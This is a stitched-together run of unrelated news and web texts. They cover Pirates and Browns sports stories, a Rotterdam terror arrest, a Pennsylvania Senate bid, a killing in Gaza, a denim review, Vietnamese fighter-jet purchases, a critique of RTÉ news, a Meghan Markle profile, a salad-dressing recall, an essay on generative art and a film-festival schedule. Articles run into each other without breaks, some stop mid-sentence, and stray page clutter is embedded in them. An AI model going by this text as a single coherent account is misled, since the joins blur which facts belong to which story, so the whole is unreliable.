The Pirates were the taboo topic, the crazy uncle of the local sporting scene -- and there was zero hope of snapping the streak this season. This team was 57-105 last year. It had one of the worst pitching staffs of the modern era and was bringing back four of the five starting pitchers! The big off season acquisitions in the field were journeymen Lyle Overbay and Matt Diaz. The payroll, as always, was going to be measured in pennies instead of dollars.
Yet, on November 15, the day he was introduced to his new city, Hurdle, 53, seemed downright jovial.
Either that, or downright delusional.
"We're going to get this done," he said. "This is eventually going to turn. There's no doubt in my mind that it's going to turn. I wanted to get on board because I believe now is the time it's going to start turning."
Flash forward eight months, to Wednesday morning on Pittsburgh's "Parkway," one the main thoroughfares leading to PNC Park. In the midst of a wicked heat spell, fans were honking horns and waving brooms out their car windows -- and not because they wanted to sweep away the remnants of another lost season.
Rather, it was because the Pirates -- the 'Bucs' or 'Buccos' in local parlance -- had a chance to sweep the defending National League Central Division champion Cincinnati Reds in a three-game series and solidify their grip on first place.
First place?
Yes, the Pirates have spent time there this late in a season for the first time since 1997. They own their best late-July record (51-45) since 1992. Their 3-1 loss Wednesday, which pushed them a half-game behind the Milwaukee Brewers, hardly dampened the enthusiasm for this weekend's series against superstar Albert Pujols and the St. Louis Cardinals.
It is the most-anticipated series in the history of 10-year-old PNC Park, widely regarded as the most beautiful ballpark in the major leagues. Tickets remain only for Sunday's series finale.
If this keeps up -- if the Pirates somehow manage to make the playoffs -- it might well be the sport's most unlikely story since the 1969 New York Mets. The Amazin' Mets hadn't posted a single winning season before winning it all in '69. The Amazin' Bucs, with their $45 million payroll, have won series against the filthy rich Boston Red Sox and Philadelphia Phillies and are talking about adding players before Major League Baseball's July 31 trade deadline.
They are doing this despite a spate of injuries that took away their top three catchers and their promising third baseman, Pedro Alvarez. No wonder The New York Times and Sports Illustrated have scheduled reporters to cover this weekend's series. They will find all around them evidence of a deadened fan base sprung to life.
Neil Walker used to be one of the tortured fans. A Pittsburgh native, he is now the Pirates' second baseman and leads the team with 62 runs batted in.
"What I'm seeing more often is the 20-something fan, young people at the ballpark who want to see us play," Walker said. "A lot of people have said to a lot of us in here, 'Thanks for making us Pirates fans again.' "
For old-time fans, the team's resurgence has rekindled pleasant memories of the World Series titles of 1960, '71 and '79, part of a rich, 125-history in the National League. The franchise has won five World Series in all and have produced iconic players such as Honus Wagner, Roberto Clemente and Willie Stargell.
SI: Everyone loves a Cinderella story; this year baseball has two
With attendance up nearly 20% from last season, the Pirates have a chance to attract 2 million fans for the first time since PNC Park opened. Television ratings are up 66% from July of last season and 40% overall -- including three of the top 10-rated games since 1994. The team soon will make its first appearances on national television since 2002. Sports-talk radio 93.7 The Fan is lined with Pirates callers all day. Sports merchandise stores are reporting unfathomable increases in Pirates-related sales.
Trey Carlstrom can tell you about that. He is the Chicago-based owner of The Pittsburgh Fan, a sports apparel shop across the street from PNC Park. He has a similar store next to Wrigley Field in Chicago. He is giddy over the 51% rise in Pirates-related sales.
"I wish we could turn Pittsburgh into the kind of atmosphere we have at Wrigley," he said. "It helps if you have a good team, that's for sure."
Hurdle, who managed the Colorado Rockies to the National League pennant in 2007, can't go anywhere without people giving him advice.
"I carry a notebook," he says, laughing.
Previous managers carried only the pain of constant mockery amid another disastrous season. It's a challenge trying to identify the low point of the 18-year losing streak, which started the year Barry Bonds left for San Francisco as a free agent. There have been so many, including a ticket-price increase after the 100-loss season that christened PNC Park (season-ticket prices have not been raised since) and the giveaway of homegrown third baseman Aramis Ramirez in 2003.
But this one might top -- or bottom -- them all: The Pirates flew in Pittsburgh-born actor Michael Keaton to throw out the ceremonial first pitch at their 2006 home opener, only to see him rip ownership at a pregame news conference.
"I fear they will take advantage of the good will of the people who continue to show up," Keaton said that day. "For my money, that's disrespectful. At some point, you either have to write the check or do something and not assume, well, we're OK and ultimately the franchise is valuable anyway, like Donald Sterling did with the Los Angeles Clippers."
The way the Pirates were going, the Clippers should have been insulted at such comparisons. By 2007, newspaper magnate Bob Nutting had replaced Kevin McClatchy as the club's principal owner -- and principle villain. He was viewed as a cheapskate interested only in the bottom line.
That perception hasn't disappeared, but Nutting began writing some significant checks shortly after he took control. The Pirates have spent more on the amateur draft than any team in the majors over the past three years and have invested heavily in Latin America, most prominently in the construction of a $5 million training academy in the Dominican Republic.
Where once Nutting was ridiculed on the streets, he now is praised. Sometimes.
"I said last year that fans deserved to be angry; I was angry, too," Nutting told the Pittsburgh Tribune-Review. "There's nothing wrong with that. But I also can say that I believed from the beginning in the steps we were taking to restore championship-caliber baseball to Pittsburgh. Some of those have taken longer. Some are starting to bear fruit. And many of them aren't even here yet."
Meanwhile, general manager Neal Huntington and team president Frank Coonelly engineered a complete overhaul after Nutting hired them late in the 2007 season. "The Plan," as locals call it, hasn't worked out perfectly, but Huntington brought some critical pieces to Pittsburgh, including All-Star closer Joel Hanrahan and starting pitchers Charlie Morton, Kevin Correia, Jeff Karstens and James McDonald. Homegrown players such as center fielder Andrew McCutchen and Walker have begun to blossom. New pitching coach Ray Searage has overseen a dramatic turnaround of the staff, the key component of the team's resurgence.
Well, that and the hiring of Hurdle, who has created an atmosphere equal parts intense and relaxed.
On one hand, Hurdle has not been afraid to instill discipline, such as when he benched the team's best player, McCutchen, for failing to run out a dropped third strike.
On the other, players will tell you Hurdle has made the game fun again. They know they won't be punished for mistakes of aggression, and they know Hurdle's personality will not change from day to day. He will be energized and approachable. Decades in the game -- as a player, coach and manager -- have taught Hurdle that a 162-game season is a marathon, not a sprint.
"The attitude has changed," McCutchen said. "We've been pretty much neutral when it comes to winning and losing. We're not down when we lose, and it's not like we're up that much when we win. We know what we have ahead of us."
If the season's first four months are any indication, the Pirates have ahead of them plenty of pressure-packed, fun-to-watch baseball.
Ask a Pittsburgher about that. He'll talk all day.Phelan M. Ebenhack/Associated Press
When a team has an extremely disappointing loss, someone has to take the blame from the public. For the Cleveland Browns, quarterback Brian Hoyer is getting the brunt of that blame for their 24-6 loss to the Jacksonville Jaguars. While Hoyer definitely played the worst game of his career, he should not shoulder the entire load.
It is always easy to point at the quarterback after the game. Whether it is a win and a team revels in the glory or a loss and it drowns in the sorrow; the quarterback is the face of a determined outcome. It is the price you pay when you play the marquee position.
“Today is a really good example of when a team wins a quarterback gets a lot of credit, and when they don’t he’s going to get a lot of blame,” head coach Mike Pettine told Scott Petrak of The (Elyria) Chronicle-Telegram after the game.
Before we go any further let’s be very clear: Hoyer was atrocious. It was easily the worst game of his career, and he did very little right. Hoyer went 16-of-41 for 215 yards with one interception, a lost fumble and a 46.3 quarterback rating. He under-threw receivers deep, he overthrew receivers near the sidelines and he was unable to handle the pressure the Jaguars brought the whole game.
He looked like a guy who has been a career backup. He certainly did not look like the guy who was 6-2 in his eight starts with the Browns and entered the game as the fourth-ranked passer in the NFL.
The offense was 4-of-17 on third downs and 0-of-4 on fourth downs. A lot of that falls on Hoyer because the team was in 3rd-and-long situations all game long. The Jaguars' defensive line also batted down several of Hoyer’s passes at the line of scrimmage.
He missed tight end Jordan Cameron with what would have been a touchdown pass in the second quarter, and he even questioned how that could have changed the outcome afterward.
“I didn’t see a replay, but I always try to give Jordan a chance to go up and get it back there, and I probably put it even a little too high for him,” Hoyer told the media, per Petrak. “And who knows how that changes the outcome, so that’s definitely one that I wish maybe just take a little off of it and let him go up and get it.”
He entered the week with just one turnover on the year and by the time the beatdown was finished in Jacksonville that total was tripled. It is easy to say Hoyer was the main culprit in the loss, but that just wouldn’t be fair.
The blame can be spread throughout the entire team and coaching staff. The unit that deserves more grief than Hoyer is the offensive line. The new center John Greco and new guard Paul McQuistan were not just bad; they were a liability on nearly every play.
McQuistan was beat off the line so many times that it stifled the Browns passing and run game. They entered the week as the third-best rushing offense. They finished Week 7 with 30 rushes for 69 yards. That translates to a pitiful 2.3 yards per carry.
Hoyer was on the run all game long as well. While that does not forgive all his poor throws, it does explain a good portion of them. The Jaguars sacked Hoyer three times and also tallied seven tackles for loss. That means they were living in the backfield all afternoon.
The receivers were also an issue. They had two drops and a miscommunication between Miles Austin and Hoyer which caused Austin to never even turn around and look for a pass that was thrown. It was plain ugly.
“I know (Hoyer) missed some throws,” said Pettine after the game. “But we did not play near well enough around him.”
The coaching staff deserves some blame here as well. Pettine has been somewhat of a gambler all season long, but he was flat-out reckless on Sunday. He went for fourth-down conversions twice when the game was still hanging in the balance and the offense was completely out of rhythm.
The first time was in the second quarter with the Browns leading 6-0. On 4th-and-1 at the Jacksonville 24-yard line, Hoyer missed Cameron, and the Browns gave the ball back to Jacksonville with 1:33 to play in the half. The Jaguars marched 76 yards for a score and took the lead 7-6 at halftime. That was a gamble the Browns did not need to take, and it wound up hurting them in the end.
The second occasion was in the beginning of the fourth quarter with the Jaguars leading 10-6. The Browns had a seven-play drive stall at the Jacksonville 43-yard line. The Browns first lined up for a punt and then had the entire offense run onto the field in what resembled a hockey line change.
The Browns had to wait for the Jaguars to make their defensive substitutions, and once they did the ball was snapped to Hoyer who looked like he was not expecting it whatsoever. Hoyer tried to run around the end, and then he pitched the ball to running back Ben Tate who was tackled for a loss. The Jaguars took over on downs, and the world was wondering what the heck the Browns just did.
Marla Ridenour of the Akron Beacon Journal shared Tate's comments, clearly illustrating his frustration with the play:
More #Browns Tate: "When he snapped ball, I think everyone was shocked. I was like, 'Oh my God, what am I supposed to do?'" Was no play call — Marla Ridenour (@MRidenourABJ) October 19, 2014
Shortly after that, with the game still 10-6 and the Jaguars giving the Browns yet another opportunity to steal the game, Jordan Poyer inexplicably tried to field a punt inside the 5-yard line. Instead of catching the ball, he had it bounce off of his facemask, and the Jaguars recovered.
They scored on their very next play. That was all the Jags needed.
Even offensive coordinator Kyle Shanahan, who had been masterful calling plays up until this week, needs to share some blame. He abandoned the run game far too early and never allowed the offense to establish what it does best.
He and Pettine also used Terrance West at running back instead of Isaiah Crowell for the first half, and West was not just bad, but he set the offense back. He twice danced or ran horizontally instead of just taking the first down which was in front of him.
The defense joined in the ballet of folly as well. It allowed 336 total yards, including 186 yards and two touchdowns on the ground. The Jaguars entered the game averaging less than 70 yards per contest.
So while Hoyer was inexcusably bad and he will have to face the music this week, he was not alone. His teammates know that they all played a role in the embarrassment.
“Brian’s a professional,” said wide receiver Andrew Hawkins after the game. “He understands it’s a part of the job, so he’s not crying himself to sleep.”
From now until next Sunday, when the Oakland Raiders come to town, Hoyer will be the object of conjecture and criticism. The media and fans will question whether he is the guy moving forward and debate the possibility of Johnny Manziel taking over the quarterback role sooner than people might have thought last week.
That comes with the territory. Carrying your team on the field is not the quarterback’s only job in this league. He must also carry the burden of the losses off the field as well.Rotterdam police arrested a terror suspect on Friday. The 30-year-old man possessed an AK-47 rifle, an image of Daesh flag, as well as illegal fireworks, according to Dutch prosecutors.
Dutch police received a tip-off from the General Intelligence and Security Service of the Netherlands (AIVD).
The police found a loaded Kalashnikov AK-47 in the suspect's apartment along with illegal fireworks and an image of Daesh flag. Several mobile phones as well as 1,600 euros (approximately $1690) in cash were also found in the apartment.
"He is suspected of preparing a terrorist crime," the prosecutors said in a statement on Friday.
The suspect was arrested on Wednesday, but the The prosecutors also said that the investigation is still ongoing.
On December 2, EU law enforcement agency Europol said that new attacks by the Daesh terrorist organization are possible across Europe as a retaliation for anti-Daesh actions or as a way to discredit Syrian refugees.A conservative donor and real estate developer announced Monday that he will seek to unseat Sen. Bob Casey Robert (Bob) Patrick CaseyTrump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill Democrats block abortion bill in Senate GOP wants to pit Ocasio-Cortez against Democrats in the Senate MORE (D-Pa.), entering a crowded GOP primary field ahead of the 2018 race.
Jeff Bartos sent a fundraising email and a new video to supporters about his bid, touting his business experience and that he comes into the race as an outsider.
“I’m Jeff Bartos, a political outsider running for Senate to end destructive trade deals, secure our borders and restore the American dream, and I support term limits,” he said in the video.
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"I have spent 20 years building businesses and giving back to my community. Bob Casey has spent the last 20 years trading political favors and working to get re-elected."
Bartos took aim at Casey, who has served in the upper chamber since 2007, accusing him of being beholden to Senate Democratic Leader Charles Schumer Charles (Chuck) Ellis SchumerBrennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE (N.Y.) and Sen. Elizabeth Warren Elizabeth Ann WarrenSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' House to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (D-Mass.) over his constituents.
“After a decade in Washington and a lifetime in politics, Bob Casey forgot where he came from,” Bartos said.
“Instead of working for Pennsylvania, he answers to Chuck Schumer Charles (Chuck) Ellis SchumerBrennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE, Elizabeth Warren and his liberal friends in Washington,” he continued. “He has left Pennsylvania behind.”
While he is a political newcomer, he did briefly consider a run for an open seat in Congress last cycle. But in early January 2016, he said he wouldn't run to fill then-Rep. Joe Pitts' (R-Pa.) seat.
Before he can take on Casey, Bartos faces a crowded GOP primary that already includes state Reps. Jim Christiana and Rick Saccone, among other candidates.
Pennsylvania's Senate race will be a key election next year; Casey is one of 10 Democratic Senate incumbents who |
Several days after the Israeli prime minister Ehud Olmert launched Operation Cast Lead on December 27 - a full-scale military assault aimed at crippling Hamas's ability to fire rockets into southern Israel - the jail where Hamza was held was hit by Israeli fire, giving inmates the opportunity to escape.
Hamza fled, but unlike 17 others who were killed, he was picked up the same day by Hamas militants and got off comparatively lightly. They shot him through the back of both legs below the knee, then pushed him out of a car in the Sheikh Ejlin neighbourhood south-west of Gaza City. "When he came to us, he was barely alive," Dalal said. "But after one month of medical treatment at home, and support from our families, he regained some of his health and was able to stand up and walk again." By early February, after Israel had declared a unilateral truce in its military campaign against Hamas, the ISS, intent on tracking down anyone they believed had collaborated with either Israel or the Palestinian Authority in Ramallah, launched a search for Hamza. "On February 4 and 18, a number of gunmen came to our house asking about my husband, but we had moved him and he was not at home," Dalal said. She was constantly watched and followed when she left the house and her telephone was bugged. Hamza was hidden at the homes of various relatives.
On February 26, Hamza al-Shoubaki decided to move again to what he thought he would be a safer location. The ISS was watching and at 10pm that day, masked gunmen stormed his new hideout. "At around 8am the next day, a relative of Hamza's received a phone call from the Shifa Hospital to come and identify a man who was now in the morgue. It was Hamza," Dalal said. Surrounded by her children, ranging in age from one to 17, Dalal displayed no sign of fear of retribution for speaking out against Hamas. "I want everyone to know what Hamas does here. I am not afraid. I want justice. I want what happened to my husband to happen to the people who killed him." Loading
When the Herald approached the Hamas government's official spokesman, Taher al-Nono, for comment, he declined. "I have no knowledge at all of this case," he said. Hamdi Shaqqura believes there is little chance Hamza's killers will ever be known. "Hamas owns the justice system here in Gaza. Why would they ever prosecute themselves?"Fade Friday – Samurai Naniwa Special (1 year, 10 washes)
Even though Samurai Jeans got their start a few years later than the other Osaka brands, they’ve permanently secured a place in the denim pantheon for their combination of unique ingredients – ranging from wildly-textured loomstate selvedge denim to jacquard-knit pocket bags – and distinctive flavor drawn from the brand’s Japanese imagery. Today’s Fade Friday is a special model limited to one hundred pairs, produced exclusively for Japan’s denim boutique Aikidou.
The Naniwa Special derives its name from the archaic term for the region that later became known as Osaka. It features the cut of the S0500xx model, with the 19 oz. denim from the S710xx model. Its most distinctive details are perhaps the hidden arcs underneath the standard arcuate stitching.
Additionally, the Naniwa Special features an original patch and flasher exclusive to the model. Worn by Max Power, frequent Superdenim contributor and elder statesman of the occidental denim community, these jeans have seen one year of wear and about ten washes–both by washing machine, and by hand. These jeans were hemmed at Berlin’s DC4 and are still actively worn in the Heavyweight Denim Championship 2013-2014 competition. Showing an impressive balance of contrast, texture, and overall evolution, this is a pair that’s only going to get better with continued wear.
Details
Name: Samurai Naniwa Special
Weight: 19 oz
Fit: Slim Straight
Color: Indigo
Denim: Unsanforized, 100% Cotton Selvedge Denim
Length of Wear: One year
Number of Washes: About ten
Before
AfterAcquisitions would further militarise the territorial dispute in the South China Sea, where Beijing has reportedly been building up its presence
Vietnam is seeking to upgrade its air defences by acquiring western fighter jets and drones, a move which would further militarise a dispute with Beijing over territorial claims in the South China Sea.
Hanoi is speaking to European and US contractors to buy jets, patrol planes and unarmed drones, Reuters reported on Friday.
Several countries claim islands and surrounding waters in the South China Sea, including Malaysia, Brunei, Vietnam, Taiwan and the Philippines. China claims most of the area. The naval corridor is an important shipping route and the region is thought to have oil and gas reserves.
Industry sources told Reuters that Vietnam was in discussions with Swedish defence contractor Saab, the European multinational Eurofighter, the defence wing of Airbus and US firms Lockheed Martin and Boeing. The companies and the Vietnamese foreign ministry did not confirm reports.
Carl Thayer, an analyst on the South China Sea at the Australian Defence Force Academy, said Vietnam already has Russian Sukhoi Su-27 and Su-30 fighter jets but its air force is in need of an upgrade.
A strong navy and air force … provides the ability to give China a bloody nose Ian Storey, Institute of South East Asian Studies
“Vietnam badly needs modern maritime reconnaissance aircraft to patrol its vast maritime domain,” he said. “Reports that Vietnam has canvassed widely with European and American defence contractors fits its profile of extensive market research and bargaining for the best package deal.”
Vietnam spent $3.4bn (£2.2bn) on defence in 2013, according to the Stockholm International Peace Research Institute, and has close to half a million ground forces. Ian Storey, from Singapore’s Institute of South East Asian Studies, said Vietnam wants to reduce its military dependence on Moscow before the Chinese government puts pressure on Russia to reduce weapons sales.
“Although Hanoi knows that its military will always be outnumbered and outgunned by China’s, a strong navy and air force provides it with a limited deterrence and, if push comes to shove, the ability to give China a bloody nose in battle,” Storey said.
China has reportedly started building up its military presence on islands artificially created by land reclamation. On Monday, the secretary of the Australian defence department, Dennis Richardson, said Beijing’s rapid claim on contested islands “dwarfs what the other claimant states have done”.
The South China Sea disputes have already led to altercations. In May, Chinese and Vietnamese ships collided as Beijing tried to set up an oil rig. Vietnam released footage of a Chinese ship ramming and sinking a Vietnamese fishing boat.
Countries in the region have also tried to boost their claims to islands by constructing houses, schools and medical centres on them. The Ho Chi Minh City government’s website in Vietnam said that 180 citizens will be able to join a six-day tourism, fishing and seafood cruise to the contested Spratly archipelago this month.
It called the promotion “the big trip of your life, reviving national pride and citizens’ awareness of the sacred maritime sovereignty of the country”.District Taco is truly delicious. I am literally drooling after simply typing their name. So, so very good. I know what I’m having for lunch today. I’ll be grabbing a bite in Tenleytown at 4600 Wisconsin Ave, NW (photo above.) But you can find all their locations here. And if the lure of their deliciousness is not enough – do it simply to spite this jackwagon:
DC restaurant does not take cash -ATM and Credit Card only – must be shunned. PS the food is shit pic.twitter.com/1qPApwTEBs — Roger Stone (@RogerJStoneJr) September 5, 2017
We last spoke about District Taco back in early August when they donated a portion of sales to help “purchase school supplies for underprivileged children”.
Again, you can also find them in Dupont at 1919 M Street, NW; Eastern Market at
656 Pennsylvania Ave, SE; Metro Center at 1309 F Street, NW; and Virginia locations here.RTÉ's handling of the Sunday Times story that Ireland could apply to the IMF for a loan in the event of a No vote in the Fiscal Treaty was both timorous and unprofessional. By Vincent Browne.
On Sunday last the Sunday Times carried a story by journalist Mark Paul stating: “the IMF... has told the Sunday Times there is ‘no reason’ why Ireland could not ask it for another loan when the current bailout programme ends in 2013.
“Any IMF member country can make an application to us for a loan,” said Bill Murray, its director of external relations. Asked if there was anything to stop Ireland from doing so, he said “no... The only countries from which we would not accept an application are non-members or those not in good standing of the previous IMF loans.”
Murray said it did not matter to the agency whether the country had access to the European Stability Mechanism.
From at least 9am on Sunday, RTÉ led the radio news throughout the day with a “story” that the IMF had dismissed the newspaper’s story.
The evening television news bulletins at 6pm and 9pm went as follows: “The IMF has dismissed a newspaper report suggesting Ireland could access alternative funding if the EU fiscal treaty is rejected, as a misinterpretation of remarks by a spokesman.
“Government ministers are insisting Ireland would have no access to any more bailout funds if the people vote No, but those on the No side say a rejection would not close down emergency funding. Tonight the IMF said current fund lending to European countries had been undertaken together with the EU and the ECB.”
This was followed by a clip from The Week in Politics (broadcast later) in which Peadar Tóibín of Sinn Féin referred to the Sunday Times story, followed by a categorical statement by Pat Rabbitte, Minister for Communications, Energy and Natural Resources: “The IMF has made it perfectly plain to us that unilaterally the IMF will not come to the rescue of any member state of the European Union [and would do so] only in partnership with the ESM.”
RTÉ’s Six One News on Sunday had 420,000 viewers, the nine o’clock news 674,000. Probably more than a million people saw one or both of the bulletins and/or heard one or more of the radio bulletins during the day.
So by the end of last Sunday at least a million people here would have had the impression that the Sunday Times story was substantially incorrect and that there could be no funding from the IMF in the event of a No vote. This was potentially a game-changer in the debate.
One would have expected that our lavishly funded national public service broadcaster would have adhered to elementary journalistic standards in the reportage of a story that was potentially of such significance, all the more so in circumstances in which its journalistic practices are under such scrutiny, given its indifference to such standards in the recent past.
One might therefore have expected RTÉ to quote verbatim the statement of the IMF spokeswoman in dismissing the Sunday Times. Had that been the case (as we now know from what RTÉ broadcast the next morning) we would have heard that the IMF spokeswoman, Olga Stankova – while saying the remarks of her colleague, Bill Murray, had been “misinterpreted” – went on to say what IMF practices had been, not what IMF fixed policies were, in relation to the funding of EU states.
In other words, she did not dismiss the Sunday Times story, as had been reported throughout Sunday by RTÉ. And as far as the alleged “misinterpretation” was concerned, she offered no back-up for the claim.
One might also have expected RTÉ not to have broadcast Pat Rabbitte’s comments without challenging him to state on what basis he was claiming that the IMF had made it “perfectly plain” to “us” (presumably the Government) that it would fund EU countries only in conjunction with the ESM; when the IMF stated this; and in what circumstances the IMF stated this. And, if this was done verbally, was he present when it was said? And if done in writing, could we see a copy?
None of this happened, and yet the unchallenged claim was broadcast on an issue of central significance to the Fiscal Treaty debate. This was both timorous and unprofessional. Also unprofessional was the failure to invite the Sunday Times reporter, Mark Paul, to give his account of his interview with the more senior IMF official, Bill Murray. This did not happen until the following morning, by which time the damage was done.
Incidentally, I do not criticise the presenter of the programme on which Pat Rabbitte made this assertion, for I appreciate how easy it is in the course of a “live” programme (or one recorded as “live”) for the presenter to miss a point. But this does not apply to the editors of news programmes, where, clearly, there is time for reflection.
I asked Pat Rabbitte on Monday morning, via his press spokesperson, to answer a series of questions on his IMF assertion. The response: he was “simply relaying the specific advice he received from Minister Noonan”.
Michael Noonan’s office referred me to a speech by Christine Lagarde, head of the IMF, on 23 January: “Any support we provide to euro area countries must be anchored in a clear policy framework for the entire euro area.” {jathumbnailoff}
Image top: The Labour Party.As Meghan Markle plans for her future as a member of the royal family, royal fans are eager to know more about her past.
And now a photo from the actress' college years has resurfaced showing the future Duchess as a fresh faced teenager.
The photo was taken of Meghan at the age of 19 during her sophomore year at Northwestern where she was studying Communications.
At the time of the photo, taken 17 years ago, Meghan was party of the Kappa Kappa Gamma sorority - a society for female students in US colleges.
She wasn't always a future duchess. Once upon a time, Prince Harry's betrothed was just a communications major at Northwestern. https://t.co/FczpMGhp2u pic.twitter.com/62ipOLZBYn — Chicago Sun-Times (@Suntimes) November 27, 2017
The photo, shared on Twitter by the Chicago Sun-Times, sees a fresh-faced Meghan beaming at the camera for her college year book.
As a student she always had her heart set on acting but admitted that she didn't want to become a stereotype.
'I knew I wanted to do acting, but I hated the idea of being this cliche—a girl from LA who decides to be an actress,' she told Marie Claire in 2013, according to the Chicago Tribune.
'I wanted more than that, and I had always loved politics, so I ended up changing my major completely, and double-majoring in theater and international relations.'
Prince Harry announced his engagement to Meghan on Monday and the pair appeared at a photocall at Kensington Palace in London
The couple announced that their wedding will take place at Windsor Castle (pictured) in May
A former lecturer of Meghan, Professor Harvey Young, remarks that he believed she had the potential to go far from the offset.
He told ABC Chicago: 'She was one of those people that I would highlight for students. I would say. "This is a possibility. This is a path you can pursue if you work hard."'
During her primary years Meghan attended the private Hollywood Little Red Schoolhouse before moving on to an independent all-girls Catholic school, Immaculate Heart High, in LA.
She went on to take theatre and international relations as a double major at the Northwestern University School of Communication, Illinois.
Harry's communication secretary said that the couple, who were grateful for the warm wishes from the public, 'would be putting their stamp on their wedding day'
By the time she graduated in 2003, she had already made her screen debut in the US soap General Hospital.
Bigger parts on TV shows such as cult crime series CSI, and finally in Hollywood, began to trickle in. For a time she was on the American version of Deal Or No Deal as a ‘briefcase girl’ – holding the equivalent of the British TV game show’s red boxes.
Her starring role was of course Rachel Zane on the US series Suits after joining the show in 2011.
It was confirmed on Monday that she will not be returning to the series after announcing her engagement to Prince Harry.
Harry, 33, and Miss Markle, 36, appeared at a photocall at Kensington Palace in London on Monday.
Fifth in line to the throne Harry has been dating the American actress since the summer of last year.
Their 16-month whirlwind romance blossomed when they met through mutual friends in London, and the pair have been almost inseparable in recent months.
The couple will live together in Harry's current home, Nottingham Cottage at Kensington Palace, and Miss Markle will become an HRH and a senior royal.
She is expected to become a duchess - just like Kate Middleton did when she became the Duchess of Cambridge after saying her vows in 2011.
Miss Markle will most probably become HRH the Duchess of Sussex, if Harry is made the Duke of Sussex by the Queen on the morning of his wedding.
The pair were secretly engaged earlier this month, and Harry took Miss Markle to meet his grandmother the Queen for tea at Buckingham Palace in October.
The wedding will take place at St George's Chapel in the grounds of Windsor Castle in May because it is a place 'close to the couple's hearts', it was revealed today.
The couple chose the'very special' venue because the prince and his fiancé had spent time there together during their 16-month romance.
They have shunned a larger wedding at Westminster Abbey or St Paul's for a more intimate church service where his father married Camilla, the Duchess of Cornwall, in 2005 - but it is likely to be televised.
And in choosing Windsor Castle and its chapel the Queen and Prince Philip can easily travel to the wedding of the year as it was revealed that the royal family will pay for the event, the music, the flowers and the reception.
American Meghan, a protestant who went to a catholic high school, will be baptised and confirmed before the spring church wedding and is also said to be taking British citizenship to become a dual national.A New Jersey-based company is voluntarily recalling nearly 10,000 cases of Wish-Bone Ranch salad dressing sold in 24-ounce bottles after a customer alerted representatives the product was accidentally mixed with Wish-Bone Blue Cheese dressing, which contains eggs -- a potential life-threatening allergen, the U.S. Food and Drug Administration said Wednesday.
The product was produced on April 23 by a contract manufacturer. In total, 8,678 cases of Wish-Bone Ranch dressing, distributed nationwide, are involved in the voluntary recall, the FDA said. The product is safe to consume for anyone who is not allergic to eggs.
All affected distributors and retail customers, as well as the Food Allergy & Anaphylaxis Network, are being notified and the affected product is being removed from store shelves.
Consumers who may have purchased the recalled product can return it for a full refund at the place of purchase. Look for a best used by date on the bottle of Feb. 17, 2016.
Consumers with questions should call (888) 299-7646 Monday through Friday between 9 a.m. and 5 p.m.On Generative Art
I think generative art has one intrinsic fallacy. It is quite easy to reduce in your mind to “technology”, to a bunch of possibly intimidating tools. But if it expresses well the relation between a creative process and a piece of art – and does this in an interesting way – well…
A friend linked an excellent essay from Anders Hoff, a Norwegian generative artist, knowing that I’ve been working on some generative software for some time now. It inspired me to write down some thoughts of my own. In case you would like to dwell more with the philosophical part, my aesthetics in this essay is inspired partly by Roman Ingarden.
I am an avid drawer, so generative art has a peculiar fascination for me – not just the pleasure of beautiful and specially charged things, but also something extra in there, in generating and coding for dramatic visual result. An aesthetic drive is intrinsic in art, but this flavour is also more specialized.
I think that generative art can’t match the subtle expressive power of our hands. None of the generative work I’ve seen has been anywhere near to Picasso’s drawings. Script-drawn human figures simply aren’t aesthetically that stimulating yet. Though I liked Hoff’s growing structures very much, they would not epitomize human experience in the same way as Picasso’s line drawings or Tove Jansson’s sheets of Moomin graphic do.
Generative art, in comparison to, say, oil painting, is different due to its computer-based work methods (this is of course obvious, but it is also interesting). What these methods do extremely well is make some repetitive tasks easier. In a way they enable experimentation with form that would be too boring and inhumane – too big waste of time without a computer. Also they enable the reuse of other artists’ and engineers’ accomplishments, like 3D rendering frameworks.
frame { *{ {n=29} x -.5 y -.5} (n)*{x 1/n} (n)*{y 1/n} R4{ shading misty_city_by_sea // this shading takes parameters col0, SAT col0 julia(x/5, y/5, 0,.75) / 256 { D=4; // recursion level for "R4" structure SAT=julia(x*2.5, y*2.75, 0,.75) / 256 *julia((x+.1)*2.5, (y+.1)*2.75, 0,.75) / 256 *julia((x+.2)*2.5, (y-.3)*2.75, 0,.75) / 50 } s 1.2/n PUSH sub } } sub.3 { sub{ {SAT=SAT-.1} } } sub 3 { sub{col0 (col0+.1)} } sub { SQUARE{s 1.2} }
DEF n 29 DEF im.91 fov {z -1.1 x -.5/n y -.5/n} frame { *{x -.5 y -.5} (n)*{x 1/n} (n)*{y 1/n} R4{ shading misty_city_by_sea col0 julia(x/5,y/5, 0, im)/256 { D=4; SAT=julia(x*2.5,y*2.75, 0, im)/256 *julia((x+.1)*2.5,(y+.1)*2.75, 0, im)/256 *julia((x+.2)*2.5,(y-.3)*2.75, 0, im)/50 } s 1.2/n PUSH sub } } sub.3 { sub{ {SAT=SAT-.1} } } sub 3 { sub{col0 (col0+.1)} } sub { SQUARE{s 1.2} }
Art becomes a new kind of control problem, and it now highlights and enjoys some new inner structures of what we see and imagine. I like the faint glow of universality – it definitely has educational and intellectual fascination.
I think that generative art should ideally retain two disparate levels of perception: the material and visual qualities of a piece of art, and then a creation story or script and the intellectual journey that led to the end result. It possibly should bear marks of that intense interaction with the spatial environment that the visible work manifests.
Generative art can, I hope, create a dynamic framework for playful interaction of concrete and abstract, of visible and tangible on one hand and ideal and structural on the other. It need not be stale and humourless.
This is exactly what happens to me all the time, this reduction process, cage-locking, habit-forming familiarisation/repulsion of technique, a reduction of the sphere of interest, fixation into observed and discovered forms, fading of the heightened spatial interaction from the picture. And I try to keep my head above the water and fly.Important Dates:
April 1: Badges on sale now.
April 6: Schedule live. Tickets on sale for IFFBoston members.
April 8: Tickets on sale for the general public.
April 22: Opening Night at the Somerville Theatre.
Note: These are our target dates. Please be cool if they slip a bit. Thanks.
Important Events:
Opening Night Film:
THE END OF THE TOUR, directed by James Ponsoldt.
April 22. Director James Ponsoldt will be in attendance.
Closing Night Film:
ME AND EARL AND THE DYING GIRL, directed by Alfonso Gomez-Rejon.
April 29. Author/screenwriter Jesse Andrews will be in attendance.
Saturday Centerpiece Spotlight:
CALL ME LUCKY, directed by Bobcat Goldthwait.
